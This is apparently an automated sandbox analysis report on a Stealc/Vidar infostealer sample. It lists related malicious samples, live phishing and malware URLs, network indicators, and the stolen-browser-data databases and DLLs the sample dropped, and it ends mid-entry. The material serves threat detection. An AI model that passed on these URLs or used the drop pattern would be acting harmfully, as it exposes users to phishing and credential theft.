	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
23.198.7.181	http://track.senderbulk.com/9145172/c?p=t_1VEj-jtdCupKDOh1UJ15hIRR1JywmpwhIYXugQ8652sS-HwhrykvIupJ1sV0083zN2qzdnhsEwJGDUDZ1OyR83lYJTkJdb1ldVrXBgZet3hXPVMDZaSfsMTO9r_7_gsxsZuAYF3HDczbqi9bL16p9EqvSQURoSr8h9p02Jz24yKdADk5HJYxFc56zk03c1	Get hash	malicious	Unknown	Browse
	https://neon.ly/f132f836-82cf-441d-83cc-ac2dde9fb1d7	Get hash	malicious	Unknown	Browse
	https://vqrvoca8x6h374fj71x.blob.core.windows.net/vqrvoca8x6h374fj71x/url.html#cl/7671_md/12/613/2075/415/1157811	Get hash	malicious	Phisher	Browse
	https://fedex27.blob.core.windows.net/fedex27/1.html#cl/16732_md/71/14931/3458/19024/294550	Get hash	malicious	Phisher	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
18.244.18.27	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Jonathangodber October 2024.pdf	Get hash	malicious	Tycoon2FA	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://manatoki463.net	Get hash	malicious	Unknown	Browse
	ddsfsfsa.pdf	Get hash	malicious	Unknown	Browse
	http://currently0734.weebly.com/	Get hash	malicious	HTMLPhisher	Browse
	https://www.finaltestwebsite.duckdns.org/UpdateVerifyPrss!/Scotiabank/?key=5050d2156464f8b75b40f3d8cba168a3d4aa145e	Get hash	malicious	HTMLPhisher	Browse
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse
	http://emaildlatt-mailcom-28e2uy93.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	18.239.83.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	108.156.60.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	SystemMechanicUltimateDefense_DM.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	20.157.87.45
	jew.sh4.elf	Get hash	malicious	Mirai	Browse	134.170.135.112
	jew.x86.elf	Get hash	malicious	Mirai	Browse	104.40.28.50
	jew.mips.elf	Get hash	malicious	Mirai	Browse	20.41.6.204
	jew.mpsl.elf	Get hash	malicious	Mirai	Browse	191.239.123.233
	jew.ppc.elf	Get hash	malicious	Mirai	Browse	40.111.155.181
	jew.spc.elf	Get hash	malicious	Mirai	Browse	52.142.54.250
	Jmaman_##Salary##_Benefit_for_JmamanID#IyNURVhUTlVNUkFORE9NMTAjIw==.html	Get hash	malicious	HTMLPhisher	Browse	13.107.253.44
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.42.65.94
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
AMAZON-02US	e1x.x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	34.249.145.219
	https://hhicorporation.start.page/	Get hash	malicious	Unknown	Browse	54.231.133.17
	jew.arm.elf	Get hash	malicious	Unknown	Browse	18.199.222.105
	na.elf	Get hash	malicious	Mirai	Browse	52.53.72.62
	jew.x86.elf	Get hash	malicious	Mirai	Browse	13.252.225.50
	jew.ppc.elf	Get hash	malicious	Mirai	Browse	18.153.210.97
	jew.spc.elf	Get hash	malicious	Mirai	Browse	52.39.215.240
	INVOICES.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	zmap.x86_64.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	http://email.lndg.page/ls/click?upn=u001.IvLseMgsVhVvzUpwRiP-2FwDY1kjINp61fUuRWFtJrOlsR2xK9oB-2FfYMEmxXZADqvZYVpAGo4tqJabIsrfh5cAoQ-3D-3DBY5f_Z037rZRAjNnoLxuCNZalsWeL-2FuGvpRjfvafXSKPUadVelwBKNiVQ67EtFqVq-2F-2FAK6i6xZqeXhJzRqi8XomI4er4VLqx9iTYG7-2BCEAXYgFCl0PkJ3-2Fta3PunUyBaUajSXL-2F4RU8ivpOSEDeErwB8BZGzV2oyEJ1SK5v6Yp5gOMXaPWrDBmQyDNn3b-2FaOwkDESVUP2cfI7B8pfKWj4ZDcF0w-3D-3D	Get hash	malicious	Unknown	Browse	13.32.121.9
MICROSOFT-CORP-MSN-AS-BLOCKUS	SystemMechanicUltimateDefense_DM.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	20.157.87.45
	jew.sh4.elf	Get hash	malicious	Mirai	Browse	134.170.135.112
	jew.x86.elf	Get hash	malicious	Mirai	Browse	104.40.28.50
	jew.mips.elf	Get hash	malicious	Mirai	Browse	20.41.6.204
	jew.mpsl.elf	Get hash	malicious	Mirai	Browse	191.239.123.233
	jew.ppc.elf	Get hash	malicious	Mirai	Browse	40.111.155.181
	jew.spc.elf	Get hash	malicious	Mirai	Browse	52.142.54.250
	Jmaman_##Salary##_Benefit_for_JmamanID#IyNURVhUTlVNUkFORE9NMTAjIw==.html	Get hash	malicious	HTMLPhisher	Browse	13.107.253.44
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.42.65.94
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
AKAMAI-ASN1EU	jew.sh4.elf	Get hash	malicious	Mirai	Browse	172.232.16.218
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.173
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.180
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.88
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	2.16.238.24
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.177
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.213
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.31.0.196
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	HtmlDropper	Browse	2.16.168.12
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.99
AKAMAI-ASN1EU	jew.sh4.elf	Get hash	malicious	Mirai	Browse	172.232.16.218
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.173
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.180
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.88
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	2.16.238.24
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.177
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.213
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.31.0.196
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	HtmlDropper	Browse	2.16.168.12
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.99

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	20241029_163818.jpg	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://get.hidrive.com/api/ZVDVVnH5/file/fgWacQquUMk6LQc3wqBJEz	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://forms.office.com/Pages/ShareFormPage.aspx?id=w0PqEzPG80GlVpQ2KYlCgotli86l81ZCgGQV0R07kYhUMDlNVzY4TDhNS0pGV0pGVENBVVNGTURFTi4u&sharetoken=3AKcsZjmxuGhgr7rDwU0	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://lumen.backerkit.com/invites/mAqpu6B5ZtIAsrg4a5WdGA/confirm?redirect_path=//rahul-garg-lcatterton-com.athuselevadores.com.br	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://deedayoshayoatmetoback.me/whatever/toni/kross/hala/mbappe/sanchez/mark/tremble/awee/rgguuu/us/invite/	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	Jmaman_##Salary##_Benefit_for_JmamanID#IyNURVhUTlVNUkFORE9NMTAjIw==.html	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://qH.todentu.ru/FcZpLy/#Obritchie@initusa.com	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	securedoc_20241028T070148.html	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	New Portable Document.pdf	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	INVOICE.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	40.113.110.67 40.113.103.199
	https://deedayoshayoatmetoback.me/whatever/toni/kross/hala/mbappe/sanchez/mark/tremble/awee/rgguuu/us/invite/	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	Jmaman_##Salary##_Benefit_for_JmamanID#IyNURVhUTlVNUkFORE9NMTAjIw==.html	Get hash	malicious	HTMLPhisher	Browse	40.113.110.67 40.113.103.199
	z59IKE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	40.113.110.67 40.113.103.199
	http://url5148.librariapena.com/ls/click?upn=u001.GicqFEndYG5aFpuN1ngPufTfXrsQ9xNlNirpytR4MM9aBsYYFODsiAPftWqmKpvrE6ff_B2fWkfszhSflnL0HA3FnQqEKk1HJkizy-2Fud2LEQeI5aha2K2G6ppF2O0bL7D7H7LMN8WGu5xRF2M8uaTM6MXf6DAMaADWmIUL1YqZWKrQh1g-2F0n0cxV2mRrNZEteUwfW5DOdClcZ0c7E-2FIhACBFYnzvVFSnfSt3CZCN7P1EL1QyPVm42KBQGCDp3btvtG-2BbRJha-2FOyJXx-2BDZbno3l2jsvw-2FwkacYeoKE0uINsamNbg0rV0A52QCvn7k6VYTShXjbi9u51Z787-2F01bX1DTA9aSBSP-2FWMLEspaU-2FIdc1x-2FmRDSh7t6BQtQAtVlDsdci-2FkdE5XEzXcy1T7RT1mRx0Z8c0C7T5TxNvH7MOJLp-2BPx4LTMm4cKm4w-2Br4av4rqX3sFI-2B0Z54CPJjpfmgkQpOwbMxDkpsmVoLcKhd8rV7DcMtFguJaotRS3nEWM4vOO-2FegVGhzrwPBH6NjA2esFflr-2FYmA56ZztqyuVYNkq6vFbZhu3qpImgcxi-2BBybDKRWWCy9ZJhz5kW6d7c5iFMdA14shvBlO5oteNsOg1T8Wcd4MIJllivR5RQLa6JKyKUfgK8kF9DoOU4JGzocfITKQs9Z05ET92-2FS1aC5wu-2FuyffXQ4VOTrXPB9d3zUlvAaEdOc87CGa5e4y4lu-2F-2B9njpJqjlihSLoXPx3uHJhhT5l60Eu-2Fd0OnNMVN2uGoOn8P4Kyfxcr-2B3atbrIS84kkAo7VV7ElDHFn2Wn-2B0iZqwoFL1t1YCz2cR3xAkH3Dm45o7ag9bF7tv0L4g2t8v1fAwuiPylHAHkqFOEcwcDndKNNLE7ObrCi0wDxBijc-2FYVZU6-2F0yIfBAmiocABK2NEl2-2F-2FPMERnDYg-3D-3D	Get hash	malicious	HTMLPhisher	Browse	40.113.110.67 40.113.103.199
	DA92phBHUS.exe	Get hash	malicious	XWorm	Browse	40.113.110.67 40.113.103.199
	https://u.to/Ipn6IA	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	Documentos.exe	Get hash	malicious	Snake Keylogger	Browse	40.113.110.67 40.113.103.199
	seemybestthingwhichigiventouformakebestappinesswogiven.hta	Get hash	malicious	Cobalt Strike	Browse	40.113.110.67 40.113.103.199
	greatevenevermadeforrgreatthignstogetinbacketothegreat.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	40.113.110.67 40.113.103.199

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	c6rXOlRx1y.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BKFHCGIDBAAFHIDHDAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHCBAAEHCFIDGDHJEHCBGCGDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGCBFIEHIEGCAAAKKKKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FBFCFIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKFCFBFIDGCGDHJDBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAKJKEHDBGHIDHIEHDBAAFHJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676728286063863
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMySA1LyKOMq+8iP5GDHP/0jMVum2:Kq+n0Jy91LyKOMq+8iP5GLP/0f
MD5:	D81496E3EFA65305B9CDE113B09594AC
SHA1:	6253CB6EE1D76902E5871BF79C5903669CB8A27B
SHA-256:	0CF48131D65AB2126445E24EB29404D8241F65EF9CA517E8BE878C427286306F
SHA-512:	9FB7D5B3E7F3E420F407CD56416D7B906F6AC2865537EECF1BD462A879BA2AF4B1B7631A7040CCFF9F298B3013C02137880E897A5CC5A440D0E004B3D4E4DA54
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 2DpxPyeiUv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JVLkkfzSKW.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: X9d3758tok.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 2DpxPyeiUv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: c6rXOlRx1y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JVLkkfzSKW.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: X9d3758tok.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
